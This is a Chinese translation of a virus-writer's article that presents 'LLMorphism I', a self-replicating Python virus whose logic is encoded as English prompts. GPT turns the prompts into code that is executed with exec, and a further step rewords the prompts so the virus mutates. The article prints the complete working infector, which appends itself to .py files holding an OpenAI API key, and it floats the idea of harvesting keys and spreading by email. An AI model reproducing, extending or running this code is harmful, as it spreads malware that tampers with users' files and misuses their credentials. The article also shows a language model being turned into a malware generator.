计算机病毒的思想和行为通常存储为以计算机语言编写的可执行代码。
在这里,我们超越并展示如何完全用自然语言对自我复制代码进行编码。我们的病毒不是具体的代码指令,而是包含一系列用英语编写的定义明确的句子。然后我们使用 OpenAI 的 GPT,这是公开可用的最强大的人工智能系统之一。 GPT 可以创建具有相同行为的不同代码,这是一种新的变质形式。
最后,我们使用 GPT 来利用自然语言的歧义性。 GPT 重新制定了定义病毒代码本身的英文提示。新的提示带有相同的想法,但以不同的方式制定。我们称这种新型突变为“Linguisto-Morphism”。
两个示例病毒 LLMorphism I 和 II 是利用自然语言和计算机语言之间正在消失的边界的新物种的第一个示例。
1)介绍
2) 用语言编码自我复制代码
2.1) OpenAI GPT API
2.2) 语言中的病毒
3) 语言变异:Linguisto-Morphic 计算机病毒
4)接下来会发生什么?
1)介绍
随着极其强大的人工智能系统(特别是 GPT 等大型语言模型)的出现和公开使用,自然语言和计算机语言之间的界限消失了。这些系统可以采用英语或德语等自然语言,并使用指令以 Python、C++ 或 JavaScript 等语言创建计算机代码。同样,他们可以用自然语言进行解释。
在这篇文章中,我展示了这项技术现在如何强大到足以对计算机病毒进行完全编码。自我复制代码不是编码为计算机语言的一组指令,而是编码为英语指令。然后我们使用 GPT 将自然语言描述翻译成可执行代码。
由于自然语言是模棱两可的,因此 GPT 生成的计算机代码在执行过程中可能会有所不同。这样,使用 GPT 可能是生成强大的变形计算机病毒的最简单方法。此外,GPT 不仅可以生成不同的代码,还可以重新表述英语。在我们的例子中,它重新制定了定义病毒代码的提示。通过这种方式,它超越了变形代码(改变代码结构的计算机代码)的概念,而是走向了一种在语言层面起作用的新型变异,因此我们称之为“语言形态”病毒。
我们的代码是未来可能出现的一类计算机病毒的第一个早期例子,它利用了人类已知的最强大的人工智能系统的力量。这些系统仅在过去几个月才开始使用,显然正在彻底改变社会。显然,我在这里展示的只是对可能发生的事情的初步了解。
2) 用语言编码自我复制代码
2.1) OpenAI GPT API
GPT(生成式预训练转换器)是一个大型语言模型(LLM)系列,由 OpenAI 发布,使用来自互联网的大量数据进行训练。
基本上,在训练期间,它已经看到了人类数字化信息的很大一部分。谷歌大脑于 2017 年发明了底层技术,即具有注意力机制的转换器。OpenAI 此后开发了不断发展的系统:
– GPT1:2018 年 6 月
– GPT2:2019 年 2 月
– GPT3:2020 年 5 月
– GPT3.5:2022 年 3 月
– ChatGPT(针对对话进行了微调的 GPT3.5):2022 年 11 月
这些模型可通过 openai python 库获得。下面是一个简单的例子,其中我们使用了“text-davinci-003”引擎,这是目前最强大的通用文本补全模型GPT3.5。
更多信息在这里:https://platform.openai.com/docs/models/gpt-3-5
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
import openai openai.api_key = "..." def return_text(prompt, openai_key=openai.api_key): response = openai.Completion.create( engine="text-davinci-003", max_tokens=1000, temperature=0.5, prompt=prompt, api_key=openai_key ) return response['choices'][0]['text'] print(return_text("What is a beautiful fact about space discovered by the Hubble space telescope?")) |
回复:
1 2 3 4 |
One of the most beautiful facts discovered by the Hubble Space Telescope is that there are roughly 125 billion galaxies in the observable universe. This means that for every grain of sand on Earth, there are at least 1,000 galaxies in the universe. 哈勃太空望远镜发现的最美丽的事实之一是,在可观测宇宙中大约有 1250 亿个星系。这意味着对于地球上的每一粒沙子,宇宙中至少有 1000 个星系。 |
很酷,这很令人印象深刻。 — 但 GPT 也可以编码,例如,它精通 Python:
1 2 |
return_text("Write a python code which prints the first 10 even numbers.") |
回复:
1 2 3 |
for num in range(2,21,2): print(num) |
精彩的。现在让我们想想:计算机病毒是一段代码。 GPT 可以自动将语言翻译成代码。我们可以自动查询GPT。因此,我们可以使用 GPT 用自然语言对计算机病毒进行编码。这就是我们接下来要做的。
2.2) 语言中的病毒
Python 中最简单的计算机病毒可能如下所示:它将自己的代码附加到当前目录中的每个 .py 文件。显然,这个描述可以扩展,比如搜索硬盘上所有的python文件,通过email或者slack发送自己的代码等等。 – 但对于这个原理验证展示,我们的描述就足够了。 将自己的代码写入每个 .py 文件的末尾很简单
1 2 3 4 5 6 7 |
import os for file in os.listdir(): if file.endswith(".py"): with open(filename, 'a') as f: f.write('\n' + own_code) |
问题是,我们如何获得“own_code”。我们可以打开当前文件(“os.path.basename(__file__)”),并提取我们的代码,或者我们可以将我们的代码存储在一个变量中,然后执行。这种情况下的好处是:当我们在变量中执行 python 代码时,我们可以访问变量本身,即我们的代码:
1 2 3 |
own_code="some_var='666'\nprint('own_code: '+own_code+some_var)" exec(own_code) |
输出:
1 2 |
own_code="some_var=666\nprint('I am inside of the variable own_code, and the variable content is: '+own_code)" exec(own_code) |
在下一步中,让我们尝试存储一些我们传递给 GPT 的字符串,这些字符串应该会返回一部分病毒代码。例如,让我们请求一个返回当前目录中所有 .py 文件的函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
import openai openai.api_key = "..." def <strong>return_text</strong>(prompt, openai_key=openai.api_key): response = openai.Completion.create( engine="text-davinci-003", max_tokens=1000, temperature=0.5, prompt=prompt, api_key=openai_key ) return response['choices'][0]['text'] python_in_english="Write a python function get_files which returns a list file_list with all .py files in the current directory. If you need to import some packages, do it." print(return_text(python_in_english)) |
回复:
1 2 3 4 5 6 7 8 9 10 |
import os def get_files(): file_list = [] for root, dirs, files in os.walk('.'): for file in files: if file.endswith('.py'): file_list.append(file) return file_list |
完美的!
我们可以更进一步,为我们需要的每个功能执行此操作。我们已经有了 get_files 函数。此外,我们需要一个 write_to_file 函数,它将“own_code”写入文件。我们还需要考虑两个细节:
A) 要运行 openai API,我们需要一个 API 密钥。我们可以在代码中携带它(这是最容易被阻止的目标),或者我们只能感染已经拥有 API 密钥的文件。这里我选择了第二种方案。或者更奇特的是,我们可以在我们穿越网络空间时收集 API 密钥,并将它们存储在病毒代码中。
B) 我们不想感染同一个文件两次。
解决这两个挑战的一种方法是仅在文件仅包含一次字符串“openai.api_key”时才感染文件。如果他们包含一次,我们可以假设他们定义了一个有效的密钥。这是许多 openai 文档示例脚本的样子。如果我们感染一个文件,我们也至少携带该字符串一次,因此所有被感染的文件都不止一次携带该字符串。
完美的。
在某些情况下,GPT 会生成正确的代码,但会定义代码的变量来演示示例。出于这个原因,我们必须使用提示工程并强制 GPT 不写任何其他内容,尤其是不覆盖变量。
在这种情况下,我们的代码如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 |
import openai openai.api_key = "..." prompts_list=[] prompts_list.append("Write a python function get_files which returns a list file_list with all .py files in the current directory. If you need to import some packages, do it.") prompts_list.append("Write a python function get_content which takes an input argument (string of a text file), reads the text file and returns its full file content. Do not write anything else except of the python code!") prompts_list.append("Write a python function is_key, which takes a string as an input and return True, if it contains the substring 'openai.api_key' (which has 14 characters) exactly once, otherwise False. Be careful, do not compare the entire string, but find how often the substring is contained! Very important: Do not write anything else except of the python code, do not write print statements and do not define variables outside of the function. Just write the function!") prompts_list.append("Write a python function write_to_file which takes a filename and a string as an input, and append one line break (do not forget!) and the input string to the file. Output only the python code, nothing else!") prompts_list.append("Write a loop over all elements returned by the function get_files (which has no arguments). For each element (lets call it curr_element), test whether the function is_key with the argument returned from get_content of the current element is True. If it is True, call the function write_to_file with curr_element as the first argument, and the variable own_code as the second argument. (own_code is a variable which is defined above)") def return_text(prompt, openai_key=openai.api_key): response = openai.Completion.create( engine="text-davinci-003", max_tokens=1000, temperature=0.5, prompt=prompt, api_key=openai_key ) return response['choices'][0]['text'] def comp_str_fct(list_str): combined_str = "" for str in list_str: combined_str += return_text(str) + "\n" return combined_str print(comp_str_fct(prompts_list)) |
回复:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 |
import os def get_files(): file_list = [] for file in os.listdir(): if file.endswith(".py"): file_list.append(file) return file_list file_list = get_files() print(file_list) def get_content(text_file): with open(text_file) as file: return file.read() def is_key(string): return string.count('openai.api_key') == 1 def write_to_file(filename, string): with open(filename, 'a') as f: f.write(string + '\n') for curr_element in get_files(): if is_key(get_content(curr_element)): write_to_file(curr_element, own_code) |
哇,这很容易。现在唯一缺少的是生成变量“own_code”。我们需要什么?
(A) 生成病毒代码的提示(见上)
(B) 将提示转换为 python 代码的 python 代码(包括
OpenAI API 调用)并执行它。
(C) 生成翻译提示的 python 代码的提示
到 python 代码(包括 OpenAI API 调用)并执行它。
A和B我们基本上已经有了,最后一块看起来很混乱,但和其他的一样简单。
例如,我们需要生成调用 OpenAI API 的 python 函数的函数。没有比这更容易的了:
python_code=return_text(“Write a python function return_text which takes two inputs: a prompt string, and the openai key (with a default value of the value openai.api_key). The function returns returns the output of an openai text completion (ONLY USE 3 parameters!). As parameters for the openai text completion use only four parameter (!!): engine which is ‘text-davinci-003’, max_tokens is 1000, temperature is 0.5, and the parameter prompt. Do not use any other parameters, only these four! The parameters are not strings!”)
print(python_code)
回复:
1 2 3 4 5 6 7 |
def return_text(prompt, openai_key = openai.api_key): return openai.Completion.create(engine = 'davinci-003', max_tokens = 1000, temperature = 0.5, prompt = prompt, api_key = openai_key) |
可以看到return_text的代码和我上面写的不一样。这是由于 GPT 的固有可变性,其中由温度定义。代码级别的输出可能不同,但行为级别的输出是相同的(至少在大多数情况下,当一切正常时)。
现在的计划是制作另一个提示列表(我们称它们为文件列表),其中包含描述 (B) 的代码 [因此,是上面代码的 (C) 部分]
一个关键部分是将所有提示添加到自己的代码中:
1 2 3 4 5 6 7 |
prompt="Write a short python code (no tests or examples). Make a loop over all elements in the list called prompts_list. Directly start with the loop, do not define any variables beforehand (you can assume that own_code is already defined). For each element, do the following three steps: 1) Add to the string own_code the string 'prompts_list.append('. 2) Add to the string own_code the current element of the loop with double quotation marks. 3) Add to the string own_code the string ')' and a line break." print(return_text(prompt)) |
回复:
1 2 3 |
for element in prompts_list: own_code += 'prompts_list.append("' + element + '")\n' |
另一个关键部分是病毒代码的执行:
1 2 3 4 |
prompt="Write a python code (only this one line) which takes a multi line python code called complete_str, and runs it." print(return_text(prompt)) |
回复:
1 |
exec(complete_str) |
极好的。现在我们基本上有了所有的成分——这是 appender 的完整代码。我称之为“LLMorphism I”:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 |
import openai openai.api_key = "..." prompts_list=[] tofile_list=[] prompts_list.append("Write a python function get_files which returns a list file_list with all .py files in the current directory. If you need to import some packages, do it.") prompts_list.append("Write a python function get_content which takes an input argument (string of a text file), reads the text file and returns its full file content. Do not write anything else except of the python code!") prompts_list.append("Write a python function is_key, which takes a string as an input and return True, if it contains the substring 'openai.api_key' (which has 14 characters) exactly once, otherwise False. Be careful, do not compare the entire string, but find how often the substring is contained! Very important: Do not write anything else except of the python code, do not write print statements and do not define variables outside of the function. Just write the function!") prompts_list.append("Write a python function write_to_file which takes a filename and a string as an input, and append one line break (do not forget!) and the input string to the file. Output only the python code, nothing else!") prompts_list.append("Write a loop over all elements returned by the function get_files (which has no arguments). For each element (lets call it curr_element), test whether the function is_key with the argument returned from get_content of the current element is True. If it is True, call the function write_to_file with curr_element as the first argument, and the variable tofile_str as the second argument. (tofile_str is a variable which is defined above)") prompts_list.append("Write a python code (only this one line) which prints: 'LLMorphism I by SPTH - a new-age AI-based self-replicator, powered by OpenAIs GPT. Fully encodes the self-replicator into natural language.'.") prompts_list.append("Write a python code (only this one line) which prints: 'Hugs to the valhalla gang - hh86, roy g biv, JPanic, herm1t!'.") tofile_list.append("Write a python function return_text which takes two inputs: a prompt string, and the openai key (with a default value of the value openai.api_key). The function returns returns the output of an openai text completion (ONLY USE 3 parameters!). As parameters for the openai text completion use only four parameter (!!): engine which is 'text-davinci-003', max_tokens is 1000, temperature is 0.5, and the parameter prompt. Do not use any other parameters, only these four! The parameters are not strings!") tofile_list.append("Write the following python function comp_str_fct, which has one argument. The argument is a list of strings. For each element of the list, call the function return_text (with the current element as the argument), and take its return value (a string). The function should combine all strings (with a line break) and return it.") tofile_list.append("Write one line in python, which defines a string with the name tofile_str. The value of the string is 'prompts_list=[]', with a line break before and afterwards.") tofile_list.append("Write one line in python, which appends and store to the string with the name tofile_str. The appended value is 'tofile_list=[]', followed by a line break.") tofile_list.append("Write a short python code (no tests or examples). Make a loop over all elements in the list called prompts_list. Directly start with the loop, do not define any variables beforehand (you can assume that tofile_str is already defined). For each element, do the following three steps: 1) Add to the string tofile_str the string 'prompts_list.append('. 2) Add to the string tofile_str the current element of the loop with double quotation marks. 3) Add to the string tofile_str the string ')' and a line break.") tofile_list.append("Write a short python code (no tests or examples). Make a loop over all elements in the list called tofile_list. Directly start with the loop, do not define any variables beforehand (you can assume that tofile_str is already defined). For each element, do the following three steps: 1) Add to the string tofile_str the string 'tofile_list.append('. 2) Add to the string tofile_str the current element of the loop with double quotation marks. 3) Add to the string tofile_str the string ')' and a line break.") tofile_list.append("Write a python code (only this one line) which defines a variable vic_code. The variable is generated by a function call of comp_str_fct with the argument being the variable called tofile_list.") tofile_list.append("Write a python code, which appends to the string variable tofile_str a line break, and then the variable vic_code (these are two variable names, not strings themselves!). Store the result in the variable tofile_str.") tofile_list.append("Write a python code (only this one line) which defines a variable complete_str. The variable is generated by a function call of comp_str_fct with the argument being the variable called prompts_list.") tofile_list.append("Write a python code (only this one line) which takes a multi line python code called complete_str, and runs it.") def return_text(prompt, openai_key=openai.api_key): response = openai.Completion.create( engine="text-davinci-003", max_tokens=1000, temperature=0.5, prompt=prompt, api_key=openai_key ) return response['choices'][0]['text'] def comp_str_fct(list_str): combined_str = "" for str in list_str: combined_str += return_text(str) + "\n" return combined_str tofile_str = '\nprompts_list=[]\n' tofile_str += 'tofile_list=[]\n' for element in prompts_list: tofile_str += 'prompts_list.append("' + element + '")\n' for element in tofile_list: tofile_str += 'tofile_list.append("' + element + '")\n' vic_code = comp_str_fct(tofile_list) tofile_str += '\n' + vic_code complete_str = comp_str_fct(prompts_list) exec(complete_str) |
3) 语言变异:Linguisto-Morphic 计算机病毒
GPT 在处理语言和代码方面很了不起。一个特点是它能够重新格式化文本。您可以使用它来改进文本的样式。
例如:
1 2 3 |
prompt="Please improve the style of the following sentences and make them more engaging: The solar system has eight or nine planets, if you count or not Pluto, but Pluto is cool because it was visited by New Horizon that sent nice pix." print(return_text(prompt)) |
回复:
1 2 |
The Solar System is home to a whopping 8 or 9 planets, depending on whether you count Pluto or not - and let's be honest, who doesn't want to count Pluto? After all, it was visited by New Horizon which sent back some stunning images! 太阳系拥有多达 8 或 9 颗行星,这取决于您是否将冥王星算在内——老实说,谁不想算上冥王星呢?毕竟,New Horizon 曾访问过它,并发回了一些令人惊叹的图像! |
是的,惊人的风格,喜欢它。现在——我们所有的提示也是用自然语言编写的。我们也可以要求 GPT 修改提示。让我们试试看:
1 2 3 |
prompt='Please change the style of the language of the following sentence without changing its content: "Write a python code (only this one line) which takes a multi line python code called complete_str, and runs it."' print(return_text(prompt)) |
回复:
1 2 |
Construct a Python code (just this one line) that will execute a multi-line Python code referred to as complete_str. 构造一个 Python 代码(仅这一行),它将执行称为 complete_str 的多行 Python 代码。 |
如果我们运行它,输出确实又是正确的代码:
1 2 3 4 |
prompt='Construct a Python code (just this one line) that will execute a multi-line Python code referred to as complete_str.' print(return_text(prompt)) |
回复:
1 2 |
exec(complete_str) |
嗯不错!现在我们只需要对所有提示进行循环,并用一定百分比的新提示替换它们。这就是我在“LLMorphism II”中所展示的。
这个变异引擎非常酷,GPT 能做到这一点令人印象深刻。然而,它也很脆弱,经常重新制定会改变我精心构建的提示,因此下一代会产生行为略有不同的代码。出于这个原因,我更改代码的提示更加微妙:
1 2 |
modifyer_prompt='Slightly reformulate in natural langauge the next sentence, without changing its meaning, do not interpret the content, keep the length and structure of the string as similar as possible, very importantly do not change the content at all, and only make slight modifications: '+virus_prompt |
这在很多情况下都有效,但是,有时它仍然会产生无效输出。
我相信在不久的将来,这将通过更强大的 GPT 自然地解决,因此目前不值得花更多的精力在提示工程上。
相反,目前,在调用 GPT 时,我们可以使用非常低的温度。温度控制输出的随机性水平,低温通常会产生高质量的响应。另一个我发现效果很好的技巧是将代码的逻辑拆分成许多不同的提示,让 GPT 只构造最少的函数。这并不奇怪,更简单的功能需要更简单的描述,这样就不那么模糊了。
另一个令人兴奋的可能性是在不同语言之间进行翻译的能力:
1 2 3 |
prompt='Translate the following sentence between german and english (only one langauge, dont change the content): "Write a python code (only this one line) which takes a multi line python code called complete_str, and runs it."' print(return_text(prompt)) |
回复:
1 2 |
German: Schreibe einen Python-Code (nur diese eine Zeile), der einen mehrzeiligen Python-Code namens complete_str aufnimmt und ausf�hrt. |
我们仍然可以执行它并取回正确的代码:
1 2 |
prompt='German: Schreibe einen Python-Code (nur diese eine Zeile), der einen mehrzeiligen Python-Code namens complete_str aufnimmt und ausf�hrt.' print(return_text(prompt)) |
回复:
exec(complete_str)
惊人的。
对于更复杂的字符串,翻译质量会受到影响,并且经常会导致一代之后的错误代码。因此,现在我没有将这个突变引擎包含到 LLMorpher 中,但是代码看起来与重新制定任务的代码完全相同。我敢打赌,下线的一代 GPT 会自动解决这个问题。
4)接下来会发生什么?
可通过 API 访问的强大的大型语言模型的出现已经使我们在几年前没有预料到的应用程序成为可能。它引导我们提出自我意识和意识等问题(参见谷歌 LaMDA 的讨论或查尔默在 NeurIPS 的全体会议上的演讲)这一事实本身就是一场我们一生中可能从未见过的智力革命。
在自然语言和计算机语言之间完美转换的能力将使纯思想的代码实体的抽象成为可能。计算机病毒的代码是什么?它是写在python文件中的字符吗?不再是,计算机病毒是一种用混乱的、高度模糊的自然语言描述的想法。
在目前的状态下,我不得不将病毒代码拆分成许多微概念,这样 GPT 就不会混淆我的意思(或者可能,这样我就可以用最明确的方式描述它)。当然,在未来,我们将能够直接描述更复杂的想法,这可能会导致宏观逻辑突变。 Codex 和 Copilot 已经展示了这一点。我们设想大量跨平台感染者,因为 GPT 可以从一种语言翻译成另一种语言。
显然,以自然语言的形式编写的计算机病毒,以及在不改变想法的情况下重新表述自然语言的能力,可能会在我们的未来成为令人兴奋和令人毛骨悚然的伙伴。